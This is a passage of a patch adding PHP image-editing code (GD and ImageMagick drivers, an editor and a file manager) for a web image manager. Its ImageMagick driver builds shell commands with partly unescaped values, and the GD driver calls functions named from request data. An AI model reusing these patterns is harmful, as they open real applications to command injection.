+ * @param $new_x int new width
+ * @param $new_y int new height
+ *
+ * @return true on success or pear error
+ * @see PEAR::isError()
+ */
+ function _resize($new_x, $new_y) {
+ if ($this->resized === true) {
+ return false; /*PEAR::raiseError('You have already resized the image without saving it. Your previous resizing will be overwritten', null, PEAR_ERROR_TRIGGER, E_USER_NOTICE);*/
+ }
+ if(function_exists('ImageCreateTrueColor')){
+ $new_img =ImageCreateTrueColor($new_x,$new_y);
+ } else {
+ $new_img =ImageCreate($new_x,$new_y);
+ }
+ if(function_exists('ImageCopyResampled')){
+ ImageCopyResampled($new_img, $this->imageHandle, 0, 0, 0, 0, $new_x, $new_y, $this->img_x, $this->img_y);
+ } else {
+ ImageCopyResized($new_img, $this->imageHandle, 0, 0, 0, 0, $new_x, $new_y, $this->img_x, $this->img_y);
+ }
+ $this->old_image = $this->imageHandle;
+ $this->imageHandle = $new_img;
+ $this->resized = true;
+
+ $this->new_x = $new_x;
+ $this->new_y = $new_y;
+ return true;
+ }
+
+ /**
+ * Crop the image
+ *
+ * @param int $crop_x left column of the image
+ * @param int $crop_y top row of the image
+ * @param int $crop_width new cropped image width
+ * @param int $crop_height new cropped image height
+ */
+ function crop($new_x, $new_y, $new_width, $new_height)
+ {
+ if(function_exists('ImageCreateTrueColor')){
+ $new_img =ImageCreateTrueColor($new_width,$new_height);
+ } else {
+ $new_img =ImageCreate($new_width,$new_height);
+ }
+ if(function_exists('ImageCopyResampled')){
+ ImageCopyResampled($new_img, $this->imageHandle, 0, 0, $new_x, $new_y,$new_width,$new_height,$new_width,$new_height);
+ } else {
+ ImageCopyResized($new_img, $this->imageHandle, 0, 0, $new_x, $new_y, $new_width,$new_height,$new_width,$new_height);
+ }
+ $this->old_image = $this->imageHandle;
+ $this->imageHandle = $new_img;
+ $this->resized = true;
+
+ $this->new_x = $new_x;
+ $this->new_y = $new_y;
+ return true;
+ }
+
+ /**
+ * Flip the image horizontally or vertically
+ *
+ * @param boolean $horizontal true if horizontal flip, vertical otherwise
+ */
+ function flip($horizontal)
+ {
+ if(!$horizontal) {
+ $this->rotate(180);
+ }
+
+ $width = imagesx($this->imageHandle);
+ $height = imagesy($this->imageHandle);
+
+ for ($j = 0; $j < $height; $j++) {
+ $left = 0;
+ $right = $width-1;
+
+
+ while ($left < $right) {
+ //echo " j:".$j." l:".$left." r:".$right."\n<br>";
+ $t = imagecolorat($this->imageHandle, $left, $j);
+ imagesetpixel($this->imageHandle, $left, $j, imagecolorat($this->imageHandle, $right, $j));
+ imagesetpixel($this->imageHandle, $right, $j, $t);
+ $left++; $right--;
+ }
+
+ }
+
+ return true;
+ }
+
+
+ /**
+ * Adjust the image gamma
+ *
+ * @param float $outputgamma
+ *
+ * @return none
+ */
+ function gamma($outputgamma=1.0) {
+ ImageGammaCorrect($this->imageHandle, 1.0, $outputgamma);
+ }
+
+ /**
+ * Save the image file
+ *
+ * @param $filename string the name of the file to write to
+ * @param $quality int output DPI, default is 85
+ * @param $types string define the output format, default
+ * is the current used format
+ *
+ * @return none
+ */
+ function save($filename, $type = '', $quality = 85)
+ {
+ $type = $type==''? $this->type : $type;
+ $functionName = 'image' . $type;
+
+ if(function_exists($functionName))
+ {
+ $this->old_image = $this->imageHandle;
+ if($type=='jpeg')
+ $functionName($this->imageHandle, $filename, $quality);
+ else
+ $functionName($this->imageHandle, $filename);
+ $this->imageHandle = $this->old_image;
+ $this->resized = false;
+ }
+ } // End save
+
+
+ /**
+ * Display image without saving and lose changes
+ *
+ * @param string type (JPG,PNG...);
+ * @param int quality 75
+ *
+ * @return none
+ */
+ function display($type = '', $quality = 75)
+ {
+ if ($type != '') {
+ $this->type = $type;
+ }
+ $functionName = 'Image' . $this->type;
+ if(function_exists($functionName))
+ {
+ header('Content-type: image/' . strtolower($this->type));
+ $functionName($this->imageHandle, '', $quality);
+ $this->imageHandle = $this->old_image;
+ $this->resized = false;
+ ImageDestroy($this->old_image);
+ $this->free();
+ }
+ }
+
+ /**
+ * Destroy image handle
+ *
+ * @return none
+ */
+ function free()
+ {
+ if ($this->imageHandle){
+ ImageDestroy($this->imageHandle);
+ }
+ }
+
+} // End class ImageGD
+?>
--- /dev/null
+<?php
+
+/***********************************************************************
+** Title.........: ImageMagick Driver
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: IM.php
+** Last changed..: 30 Aug 2003
+** Notes.........: Orginal is from PEAR
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4 |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license, |
+// | that is bundled with this package in the file LICENSE, and is |
+// | available at through the world-wide-web at |
+// | http://www.php.net/license/2_02.txt. |
+// | If you did not receive a copy of the PHP license and are unable to |
+// | obtain it through the world-wide-web, please send a note to |
+// | license@php.net so we can mail you a copy immediately. |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk> |
+// +----------------------------------------------------------------------+
+//
+// $Id: IM.php,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+//
+// Image Transformation interface using command line ImageMagick
+//
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_IM extends Image_Transform
+{
+ /**
+ * associative array commands to be executed
+ * @var array
+ */
+ var $command = array();
+
+ /**
+ *
+ *
+ */
+ function Image_Transform_Driver_IM()
+ {
+ return true;
+ } // End Image_IM
+
+ /**
+ * Load image
+ *
+ * @param string filename
+ *
+ * @return mixed none or a PEAR error object on error
+ * @see PEAR::isError()
+ */
+ function load($image)
+ {
+
+ $this->uid = md5($_SERVER['REMOTE_ADDR']);
+ /*if (!file_exists($image)) {
+ return PEAR::raiseError('The image file ' . $image . ' does\'t exist', true);
+ }*/
+ $this->image = $image;
+ $this->_get_image_details($image);
+ } // End load
+
+ /**
+ * Resize Action
+ *
+ * @param int new_x new width
+ * @param int new_y new height
+ *
+ * @return none
+ * @see PEAR::isError()
+ */
+ function _resize($new_x, $new_y)
+ {
+ /*if (isset($this->command['resize'])) {
+ return PEAR::raiseError("You cannot scale or resize an image more than once without calling save or display", true);
+ }*/
+ $this->command['resize'] = "-geometry ${new_x}x${new_y}!";
+
+ $this->new_x = $new_x;
+ $this->new_y = $new_y;
+ } // End resize
+
+ /**
+ * Crop the image
+ *
+ * @param int $crop_x left column of the image
+ * @param int $crop_y top row of the image
+ * @param int $crop_width new cropped image width
+ * @param int $crop_height new cropped image height
+ */
+ function crop($crop_x, $crop_y, $crop_width, $crop_height)
+ {
+ $this->command['crop'] = "-crop {$crop_width}x{$crop_height}+{$crop_x}+{$crop_y}";
+ }
+
+ /**
+ * Flip the image horizontally or vertically
+ *
+ * @param boolean $horizontal true if horizontal flip, vertical otherwise
+ */
+ function flip($horizontal)
+ {
+ if($horizontal)
+ $this->command['flop'] = "-flop";
+ else
+ $this->command['flip'] = "-flip";
+ }
+ /**
+ * rotate
+ *
+ * @param int angle rotation angle
+ * @param array options no option allowed
+ *
+ */
+ function rotate($angle, $options=null)
+ {
+ if ('-' == $angle{0}) {
+ $angle = 360 - substr($angle, 1);
+ }
+ $this->command['rotate'] = "-rotate $angle";
+ } // End rotate
+
+ /**
+ * addText
+ *
+ * @param array options Array contains options
+ * array(
+ * 'text' The string to draw
+ * 'x' Horizontal position
+ * 'y' Vertical Position
+ * 'Color' Font color
+ * 'font' Font to be used
+ * 'size' Size of the fonts in pixel
+ * 'resize_first' Tell if the image has to be resized
+ * before drawing the text
+ * )
+ *
+ * @return none
+ * @see PEAR::isError()
+ */
+ function addText($params)
+ {
+ $default_params = array(
+ 'text' => 'This is Text',
+ 'x' => 10,
+ 'y' => 20,
+ 'color' => 'red',
+ 'font' => 'Arial.ttf',
+ 'resize_first' => false // Carry out the scaling of the image before annotation?
+ );
+ $params = array_merge($default_params, $params);
+ extract($params);
+ if (true === $resize_first) {
+ // Set the key so that this will be the last item in the array
+ $key = 'ztext';
+ } else {
+ $key = 'text';
+ }
+ $this->command[$key] = "-font $font -fill $color -draw 'text $x,$y \"$text\"'";
+ // Producing error: gs: not found gs: not found convert: Postscript delegate failed [No such file or directory].
+ } // End addText
+
+ /**
+ * Adjust the image gamma
+ *
+ * @param float $outputgamma
+ *
+ * @return none
+ */
+ function gamma($outputgamma=1.0) {
+ $this->command['gamma'] = "-gamma $outputgamma";
+ }
+
+ /**
+ * Save the image file
+ *
+ * @param $filename string the name of the file to write to
+ * @param $quality quality image dpi, default=75
+ * @param $type string (JPG,PNG...)
+ *
+ * @return none
+ */
+ function save($filename, $type='', $quality = 85)
+ {
+ $type == '' ? $this->type : $type;
+ $cmd = '' . IMAGE_TRANSFORM_LIB_PATH . 'convert ';
+ $cmd .= implode(' ', $this->command) . " -quality $quality ";
+ $cmd .= '"'.($this->image) . '" "' . ($filename) . '" 2>&1';
+
+ //$cmd = str_replace('/', '\\', $cmd);
+ //echo($cmd.'<br>');
+ exec($cmd,$retval);
+ //error_log('IM '.print_r($retval,true));
+ } // End save
+
+ /**
+ * Display image without saving and lose changes
+ *
+ * @param string type (JPG,PNG...);
+ * @param int quality 75
+ *
+ * @return none
+ */
+ function display($type = '', $quality = 75)
+ {
+ if ($type == '') {
+ header('Content-type: image/' . $this->type);
+ passthru(IMAGE_TRANSFORM_LIB_PATH . 'convert ' . implode(' ', $this->command) . " -quality $quality " . escapeshellarg($this->image) . ' ' . strtoupper($this->type) . ":-");
+ } else {
+ header('Content-type: image/' . $type);
+ passthru(IMAGE_TRANSFORM_LIB_PATH . 'convert ' . implode(' ', $this->command) . " -quality $quality " . escapeshellarg($this->image) . ' ' . strtoupper($type) . ":-");
+ }
+ }
+
+
+ /**
+ * Destroy image handle
+ *
+ * @return none
+ */
+ function free()
+ {
+ return true;
+ }
+
+} // End class ImageIM
+?>
--- /dev/null
+<?
+/**
+ * Image Editor. Editing tools, crop, rotate, scale and save.
+ * @author $Author: matrix $
+ * @version $Id: ImageEditor.php,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('Transform.php');
+
+/**
+ * Handles the basic image editing capbabilities.
+ * @author $Author: matrix $
+ * @version $Id: ImageEditor.php,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+ * @package ImageManager
+ * @subpackage Editor
+ */
+class ImageEditor
+{
+ /**
+ * ImageManager instance.
+ */
+ var $manager;
+
+ /**
+ * user based on IP address
+ */
+ var $_uid;
+
+ /**
+ * tmp file storage time.
+ */
+ var $lapse_time =900; //15 mins
+
+ var $filesaved = 0;
+
+ /**
+ * Create a new ImageEditor instance. Editing requires a
+ * tmp file, which is saved in the current directory where the
+ * image is edited. The tmp file is assigned by md5 hash of the
+ * user IP address. This hashed is used as an ID for cleaning up
+ * the tmp files. In addition, any tmp files older than the
+ * the specified period will be deleted.
+ * @param ImageManager $manager the image manager, we need this
+ * for some file and path handling functions.
+ */
+ function ImageEditor($manager)
+ {
+ $this->manager = $manager;
+ $this->_uid = md5($_SERVER['REMOTE_ADDR']);
+ }
+
+ /**
+ * Did we save a file?
+ * @return int 1 if the file was saved sucessfully,
+ * 0 no save operation, -1 file save error.
+ */
+ function isFileSaved()
+ {
+ Return $this->filesaved;
+ }
+
+ /**
+ * Process the image, if not action, just display the image.
+ * @return array with image information, empty array if not an image.
+ * <code>array('src'=>'url of the image', 'dimensions'=>'width="xx" height="yy"',
+ * 'file'=>'image file, relative', 'fullpath'=>'full path to the image');</code>
+ */
+ function processImage()
+ {
+ if(isset($_GET['img']))
+ $relative = rawurldecode($_GET['img']);
+ else
+ Return array();
+
+ //$relative = '/Series2004NoteFront.jpg';
+
+ $imgURL = $this->manager->getFileURL($relative);
+ $fullpath = $this->manager->getFullPath($relative);
+
+ $imgInfo = @getImageSize($fullpath);
+ if(!is_array($imgInfo))
+ Return array();
+
+ $action = $this->getAction();
+
+ if(!is_null($action))
+ {
+ $image = $this->processAction($action, $relative, $fullpath);
+ }
+ else
+ {
+ $image['src'] = $imgURL;
+ $image['dimensions'] = $imgInfo[3];
+ $image['file'] = $relative;
+ $image['fullpath'] = $fullpath;
+ }
+
+ Return $image;
+ }
+
+ /**
+ * Process the actions, crop, scale(resize), rotate, flip, and save.
+ * When ever an action is performed, the result is save into a
+ * temporary image file, see createUnique on the filename specs.
+ * It does not return the saved file, alway returning the tmp file.
+ * @param string $action, should be 'crop', 'scale', 'rotate','flip', or 'save'
+ * @param string $relative the relative image filename
+ * @param string $fullpath the fullpath to the image file
+ * @return array with image information
+ * <code>array('src'=>'url of the image', 'dimensions'=>'width="xx" height="yy"',
+ * 'file'=>'image file, relative', 'fullpath'=>'full path to the image');</code>
+ */
+ function processAction($action, $relative, $fullpath)
+ {
+ $params = '';
+
+ if(isset($_GET['params']))
+ $params = $_GET['params'];
+
+ $values = explode(',',$params,4);
+ $saveFile = $this->getSaveFileName($values[0]);
+
+ $img = Image_Transform::factory(IMAGE_CLASS);
+ $img->load($fullpath);
+
+ switch ($action)
+ {
+ case 'crop':
+ $img->crop(intval($values[0]),intval($values[1]),
+ intval($values[2]),intval($values[3]));
+ break;
+ case 'scale':
+ $img->resize(intval($values[0]),intval($values[1]));
+ break;
+ case 'rotate':
+ $img->rotate(floatval($values[0]));
+ break;
+ case 'flip':
+ if ($values[0] == 'hoz')
+ $img->flip(true);
+ else if($values[0] == 'ver')
+ $img->flip(false);
+ break;
+ case 'save':
+ if(!is_null($saveFile))
+ {
+ $quality = intval($values[1]);
+ if($quality <0) $quality = 85;
+ $newSaveFile = $this->makeRelative($relative, $saveFile);
+ $newSaveFile = $this->getUniqueFilename($newSaveFile);
+
+ //get unique filename just returns the filename, so
+ //we need to make the relative path once more.
+ $newSaveFile = $this->makeRelative($relative, $newSaveFile);
+ $newSaveFullpath = $this->manager->getFullPath($newSaveFile);
+ $img->save($newSaveFullpath, $values[0], $quality);
+ if(is_file($newSaveFullpath))
+ $this->filesaved = 1;
+ else
+ $this->filesaved = -1;
+ }
+ break;
+ }
+
+ //create the tmp image file
+ $filename = $this->createUnique($fullpath);
+ $newRelative = $this->makeRelative($relative, $filename);
+ $newFullpath = $this->manager->getFullPath($newRelative);
+ $newURL = $this->manager->getFileURL($newRelative);
+
+ //save the file.
+ $img->save($newFullpath);
+ $img->free();
+
+ //get the image information
+ $imgInfo = @getimagesize($newFullpath);
+
+ $image['src'] = $newURL;
+ $image['dimensions'] = $imgInfo[3];
+ $image['file'] = $newRelative;
+ $image['fullpath'] = $newFullpath;
+
+ Return $image;
+
+ }
+
+ /**
+ * Get the file name base on the save name
+ * and the save type.
+ * @param string $type image type, 'jpeg', 'png', or 'gif'
+ * @return string the filename according to save type
+ */
+ function getSaveFileName($type)
+ {
+ if(!isset($_GET['file']))
+ Return null;
+
+ $filename = Files::escape(rawurldecode($_GET['file']));
+ $index = strrpos($filename,'.');
+ $base = substr($filename,0,$index);
+ $ext = strtolower(substr($filename,$index+1,strlen($filename)));
+
+ if($type == 'jpeg' && !($ext=='jpeg' || $ext=='jpg'))
+ {
+ Return $base.'.jpeg';
+ }
+ if($type=='png' && $ext != 'png')
+ Return $base.'.png';
+ if($type=='gif' && $ext != 'gif')
+ Return $base.'.gif';
+
+ Return $filename;
+ }
+
+ /**
+ * Get the default save file name, used by editor.php.
+ * @return string a suggestive filename, this should be unique
+ */
+ function getDefaultSaveFile()
+ {
+ if(isset($_GET['img']))
+ $relative = rawurldecode($_GET['img']);
+ else
+ Return null;
+
+ Return $this->getUniqueFilename($relative);
+ }
+
+ /**
+ * Get a unique filename. If the file exists, the filename
+ * base is appended with an increasing integer.
+ * @param string $relative the relative filename to the base_dir
+ * @return string a unique filename in the current path
+ */
+ function getUniqueFilename($relative)
+ {
+ $fullpath = $this->manager->getFullPath($relative);
+
+ $pathinfo = pathinfo($fullpath);
+
+ $path = Files::fixPath($pathinfo['dirname']);
+ $file = Files::escape($pathinfo['basename']);
+
+ $filename = $file;
+
+ $dotIndex = strrpos($file, '.');
+ $ext = '';
+
+ if(is_int($dotIndex))
+ {
+ $ext = substr($file, $dotIndex);
+ $base = substr($file, 0, $dotIndex);
+ }
+
+ $counter = 0;
+ while(is_file($path.$filename))
+ {
+ $counter++;
+ $filename = $base.'_'.$counter.$ext;
+ }
+
+ Return $filename;
+
+ }
+
+ /**
+ * Specifiy the original relative path, a new filename
+ * and return the new filename with relative path.
+ * i.e. $pathA (-filename) + $file
+ * @param string $pathA the relative file
+ * @param string $file the new filename
+ * @return string relative path with the new filename
+ */
+ function makeRelative($pathA, $file)
+ {
+ $index = strrpos($pathA,'/');
+ if(!is_int($index))
+ Return $file;
+
+ $path = substr($pathA, 0, $index);
+ Return Files::fixPath($path).$file;
+ }
+
+ /**
+ * Get the action GET parameter
+ * @return string action parameter
+ */
+ function getAction()
+ {
+ $action = null;
+ if(isset($_GET['action']))
+ $action = $_GET['action'];
+ Return $action;
+ }
+
+ /**
+ * Generate a unique string based on md5(microtime()).
+ * Well not so uniqe, as it is limited to 6 characters
+ * @return string unique string.
+ */
+ function uniqueStr()
+ {
+ return substr(md5(microtime()),0,6);
+ }
+
+ /**
+ * Create unique tmp image file name.
+ * The filename is based on the tmp file prefix
+ * specified in config.inc.php plus
+ * the UID (basically a md5 of the remote IP)
+ * and some random 6 character string.
+ * This function also calls to clean up the tmp files.
+ * @param string $file the fullpath to a file
+ * @return string a unique filename for that path
+ * NOTE: it only returns the filename, path no included.
+ */
+ function createUnique($file)
+ {
+ $pathinfo = pathinfo($file);
+ $path = Files::fixPath($pathinfo['dirname']);
+ $imgType = $this->getImageType($file);
+
+ $unique_str = $this->manager->getTmpPrefix().$this->_uid.'_'.$this->uniqueStr().".".$imgType;
+
+ //make sure the the unique temp file does not exists
+ while (file_exists($path.$unique_str))
+ {
+ $unique_str = $this->manager->getTmpPrefix().$this->_uid.'_'.$this->uniqueStr().".".$imgType;
+ }
+
+ $this->cleanUp($path,$pathinfo['basename']);
+
+ Return $unique_str;
+ }
+
+ /**
+ * Delete any tmp image files.
+ * @param string $path the full path
+ * where the clean should take place.
+ */
+ function cleanUp($path,$file)
+ {
+ $path = Files::fixPath($path);
+
+ if(!is_dir($path))
+ Return false;
+
+ $d = @dir($path);
+
+ $tmp = $this->manager->getTmpPrefix();
+ $tmpLen = strlen($tmp);
+
+ $prefix = $tmp.$this->_uid;
+ $len = strlen($prefix);
+
+ while (false !== ($entry = $d->read()))
+ {
+ //echo $entry."<br>";
+ if(is_file($path.$entry) && $this->manager->isTmpFile($entry))
+ {
+ if(substr($entry,0,$len)==$prefix && $entry != $file)
+ Files::delFile($path.$entry);
+ else if(substr($entry,0,$tmpLen)==$tmp && $entry != $file)
+ {
+ if(filemtime($path.$entry)+$this->lapse_time < time())
+ Files::delFile($path.$entry);
+ }
+ }
+ }
+ $d->close();
+ }
+
+ /**
+ * Get the image type base on an image file.
+ * @param string $file the full path to the image file.
+ * @return string of either 'gif', 'jpeg', 'png' or 'bmp'
+ * otherwise it will return null.
+ */
+ function getImageType($file)
+ {
+ $imageInfo = @getImageSize($file);
+
+ if(!is_array($imageInfo))
+ Return null;
+
+ switch($imageInfo[2])
+ {
+ case 1:
+ Return 'gif';
+ case 2:
+ Return 'jpeg';
+ case 3:
+ Return 'png';
+ case 6:
+ Return 'bmp';
+ }
+
+ Return null;
+ }
+
+ /**
+ * Check if the specified image can be edit by GD
+ * mainly to check that GD can read and save GIFs
+ * @return int 0 if it is not a GIF file, 1 is GIF is editable, -1 if not editable.
+ */
+ function isGDEditable()
+ {
+ if(isset($_GET['img']))
+ $relative = rawurldecode($_GET['img']);
+ else
+ Return 0;
+ if(IMAGE_CLASS != 'GD')
+ Return 0;
+
+ $fullpath = $this->manager->getFullPath($relative);
+
+ $type = $this->getImageType($fullpath);
+ if($type != 'gif')
+ Return 0;
+
+ if(function_exists('ImageCreateFrom'+$type)
+ && function_exists('image'+$type))
+ Return 1;
+ else
+ Return -1;
+ }
+
+ /**
+ * Check if GIF can be edit by GD.
+ * @return int 0 if it is not using the GD library, 1 is GIF is editable, -1 if not editable.
+ */
+ function isGDGIFAble()
+ {
+ if(IMAGE_CLASS != 'GD')
+ Return 0;
+
+ if(function_exists('ImageCreateFromGif')
+ && function_exists('imagegif'))
+ Return 1;
+ else
+ Return -1;
+ }
+}
+
+?>
\ No newline at end of file
--- /dev/null
+<?
+/**
+ * ImageManager, list images, directories, and thumbnails.
+ * @author $Author: matrix $
+ * @version $Id: ImageManager.php,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('Files.php');
+
+/**
+ * ImageManager Class.
+ * @author $Author: matrix $
+ * @version $Id: ImageManager.php,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+ */
+class ImageManager
+{
+ /**
+ * Configuration array.
+ */
+ var $config;
+
+ /**
+ * Array of directory information.
+ */
+ var $dirs;
+
+ /**
+ * Constructor. Create a new Image Manager instance.
+ * @param array $config configuration array, see config.inc.php
+ */
+ function ImageManager($config)
+ {
+ $this->config = $config;
+ }
+
+ /**
+ * Get the base directory.
+ * @return string base dir, see config.inc.php
+ */
+ function getBaseDir()
+ {
+ Return $this->config['base_dir'];
+ }
+
+ /**
+ * Get the base URL.
+ * @return string base url, see config.inc.php
+ */
+ function getBaseURL()
+ {
+ Return $this->config['base_url'];
+ }
+
+ function isValidBase()
+ {
+ return is_dir($this->getBaseDir());
+ }
+
+ /**
+ * Get the tmp file prefix.
+ * @return string tmp file prefix.
+ */
+ function getTmpPrefix()
+ {
+ Return $this->config['tmp_prefix'];
+ }
+
+ /**
+ * Get the sub directories in the base dir.
+ * Each array element contain
+ * the relative path (relative to the base dir) as key and the
+ * full path as value.
+ * @return array of sub directries
+ * <code>array('path name' => 'full directory path', ...)</code>
+ */
+ function getDirs()
+ {
+ if(is_null($this->dirs))
+ {
+ $dirs = $this->_dirs($this->getBaseDir(),'/');
+ ksort($dirs);
+ $this->dirs = $dirs;
+ }
+ return $this->dirs;
+ }
+
+ /**
+ * Recursively travese the directories to get a list
+ * of accessable directories.
+ * @param string $base the full path to the current directory
+ * @param string $path the relative path name
+ * @return array of accessiable sub-directories
+ * <code>array('path name' => 'full directory path', ...)</code>
+ */
+ function _dirs($base, $path)
+ {
+ $base = Files::fixPath($base);
+ $dirs = array();
+
+ if($this->isValidBase() == false)
+ return $dirs;
+
+ $d = @dir($base);
+
+ while (false !== ($entry = $d->read()))
+ {
+ //If it is a directory, and it doesn't start with
+ // a dot, and if is it not the thumbnail directory
+ if(is_dir($base.$entry)
+ && substr($entry,0,1) != '.'
+ && $this->isThumbDir($entry) == false)
+ {
+ $relative = Files::fixPath($path.$entry);
+ $fullpath = Files::fixPath($base.$entry);
+ $dirs[$relative] = $fullpath;
+ $dirs = array_merge($dirs, $this->_dirs($fullpath, $relative));
+ }
+ }
+ $d->close();
+
+ Return $dirs;
+ }
+
+ /**
+ * Get all the files and directories of a relative path.
+ * @param string $path relative path to be base path.
+ * @return array of file and path information.
+ * <code>array(0=>array('relative'=>'fullpath',...), 1=>array('filename'=>fileinfo array(),...)</code>
+ * fileinfo array: <code>array('url'=>'full url',
+ * 'relative'=>'relative to base',
+ * 'fullpath'=>'full file path',
+ * 'image'=>imageInfo array() false if not image,
+ * 'stat' => filestat)</code>
+ */
+ function getFiles($path)
+ {
+ $files = array();
+ $dirs = array();
+
+ if($this->isValidBase() == false)
+ return array($files,$dirs);
+
+ $path = Files::fixPath($path);
+ $base = Files::fixPath($this->getBaseDir());
+ $fullpath = Files::makePath($base,$path);
+
+
+ $d = @dir($fullpath);
+
+ while (false !== ($entry = $d->read()))
+ {
+ //not a dot file or directory
+ if(substr($entry,0,1) != '.')
+ {
+ if(is_dir($fullpath.$entry)
+ && $this->isThumbDir($entry) == false)
+ {
+ $relative = Files::fixPath($path.$entry);
+ $full = Files::fixPath($fullpath.$entry);
+ $count = $this->countFiles($full);
+ $dirs[$relative] = array('fullpath'=>$full,'entry'=>$entry,'count'=>$count);
+ }
+ else if(is_file($fullpath.$entry) && $this->isThumb($entry)==false && $this->isTmpFile($entry) == false)
+ {
+ $img = $this->getImageInfo($fullpath.$entry);
+
+ if(!(!is_array($img)&&$this->config['validate_images']))
+ {
+ $file['url'] = Files::makePath($this->config['base_url'],$path).$entry;
+ $file['relative'] = $path.$entry;
+ $file['fullpath'] = $fullpath.$entry;
+ $file['image'] = $img;
+ $file['stat'] = stat($fullpath.$entry);
+ $files[$entry] = $file;
+ }
+ }
+ }
+ }
+ $d->close();
+ ksort($dirs);
+ ksort($files);
+
+ Return array($dirs, $files);
+ }
+
+ /**
+ * Count the number of files and directories in a given folder
+ * minus the thumbnail folders and thumbnails.
+ */
+ function countFiles($path)
+ {
+ $total = 0;
+
+ if(is_dir($path))
+ {
+ $d = @dir($path);
+
+ while (false !== ($entry = $d->read()))
+ {
+ //echo $entry."<br>";
+ if(substr($entry,0,1) != '.'
+ && $this->isThumbDir($entry) == false
+ && $this->isTmpFile($entry) == false
+ && $this->isThumb($entry) == false)
+ {
+ $total++;
+ }
+ }
+ $d->close();
+ }
+ return $total;
+ }
+
+ /**
+ * Get image size information.
+ * @param string $file the image file
+ * @return array of getImageSize information,
+ * false if the file is not an image.
+ */
+ function getImageInfo($file)
+ {
+ Return @getImageSize($file);
+ }
+
+ /**
+ * Check if the file contains the thumbnail prefix.
+ * @param string $file filename to be checked
+ * @return true if the file contains the thumbnail prefix, false otherwise.
+ */
+ function isThumb($file)
+ {
+ $len = strlen($this->config['thumbnail_prefix']);
+ if(substr($file,0,$len)==$this->config['thumbnail_prefix'])
+ Return true;
+ else
+ Return false;
+ }
+
+ /**
+ * Check if the given directory is a thumbnail directory.
+ * @param string $entry directory name
+ * @return true if it is a thumbnail directory, false otherwise
+ */
+ function isThumbDir($entry)
+ {
+ if($this->config['thumbnail_dir'] == false
+ || strlen(trim($this->config['thumbnail_dir'])) == 0)
+ Return false;
+ else
+ Return ($entry == $this->config['thumbnail_dir']);
+ }
+
+ /**
+ * Check if the given file is a tmp file.
+ * @param string $file file name
+ * @return boolean true if it is a tmp file, false otherwise
+ */
+ function isTmpFile($file)
+ {
+ $len = strlen($this->config['tmp_prefix']);
+ if(substr($file,0,$len)==$this->config['tmp_prefix'])
+ Return true;
+ else
+ Return false;
+ }
+
+ /**
+ * For a given image file, get the respective thumbnail filename
+ * no file existence check is done.
+ * @param string $fullpathfile the full path to the image file
+ * @return string of the thumbnail file
+ */
+ function getThumbName($fullpathfile)
+ {
+ $path_parts = pathinfo($fullpathfile);
+
+ $thumbnail = $this->config['thumbnail_prefix'].$path_parts['basename'];
+
+ if($this->config['safe_mode'] == true
+ || strlen(trim($this->config['thumbnail_dir'])) == 0)
+ {
+ Return Files::makeFile($path_parts['dirname'],$thumbnail);
+ }
+ else
+ {
+ if(strlen(trim($this->config['thumbnail_dir'])) > 0)
+ {
+ $path = Files::makePath($path_parts['dirname'],$this->config['thumbnail_dir']);
+ if(!is_dir($path))
+ Files::createFolder($path);
+ Return Files::makeFile($path,$thumbnail);
+ }
+ else //should this ever happen?
+ {
+ //error_log('ImageManager: Error in creating thumbnail name');
+ }
+ }
+ }
+
+ /**
+ * Similar to getThumbName, but returns the URL, base on the
+ * given base_url in config.inc.php
+ * @param string $relative the relative image file name,
+ * relative to the base_dir path
+ * @return string the url of the thumbnail
+ */
+ function getThumbURL($relative)
+ {
+ $path_parts = pathinfo($relative);
+ $thumbnail = $this->config['thumbnail_prefix'].$path_parts['basename'];
+ if($path_parts['dirname']=='\\') $path_parts['dirname']='/';
+
+ if($this->config['safe_mode'] == true
+ || strlen(trim($this->config['thumbnail_dir'])) == 0)
+ {
+ Return Files::makeFile($this->getBaseURL(),$thumbnail);
+ }
+ else
+ {
+ if(strlen(trim($this->config['thumbnail_dir'])) > 0)
+ {
+ $path = Files::makePath($path_parts['dirname'],$this->config['thumbnail_dir']);
+ $url_path = Files::makePath($this->getBaseURL(), $path);
+ Return Files::makeFile($url_path,$thumbnail);
+ }
+ else //should this ever happen?
+ {
+ //error_log('ImageManager: Error in creating thumbnail url');
+ }
+
+ }
+ }
+
+ /**
+ * Check if the given path is part of the subdirectories
+ * under the base_dir.
+ * @param string $path the relative path to be checked
+ * @return boolean true if the path exists, false otherwise
+ */
+ function validRelativePath($path)
+ {
+ $dirs = $this->getDirs();
+ if($path == '/')
+ Return true;
+ //check the path given in the url against the
+ //list of paths in the system.
+ for($i = 0; $i < count($dirs); $i++)
+ {
+ $key = key($dirs);
+ //we found the path
+ if($key == $path)
+ Return true;
+
+ next($dirs);
+ }
+ Return false;
+ }
+
+ /**
+ * Process uploaded files, assumes the file is in
+ * $_FILES['upload'] and $_POST['dir'] is set.
+ * The dir must be relative to the base_dir and exists.
+ * If 'validate_images' is set to true, only file with
+ * image dimensions will be accepted.
+ * @return null
+ */
+ function processUploads()
+ {
+ if($this->isValidBase() == false)
+ return;
+
+ $relative = null;
+
+ if(isset($_POST['dir']))
+ $relative = rawurldecode($_POST['dir']);
+ else
+ return;
+
+ //check for the file, and must have valid relative path
+ if(isset($_FILES['upload']) && $this->validRelativePath($relative))
+ {
+ $this->_processFiles($relative, $_FILES['upload']);
+ }
+ }
+
+ /**
+ * Process upload files. The file must be an
+ * uploaded file. If 'validate_images' is set to
+ * true, only images will be processed. Any duplicate
+ * file will be renamed. See Files::copyFile for details
+ * on renaming.
+ * @param string $relative the relative path where the file
+ * should be copied to.
+ * @param array $file the uploaded file from $_FILES
+ * @return boolean true if the file was processed successfully,
+ * false otherwise
+ */
+ function _processFiles($relative, $file)
+ {
+
+ if($file['error']!=0)
+ {
+ Return false;
+ }
+
+ if(!is_file($file['tmp_name']))
+ {
+ Return false;
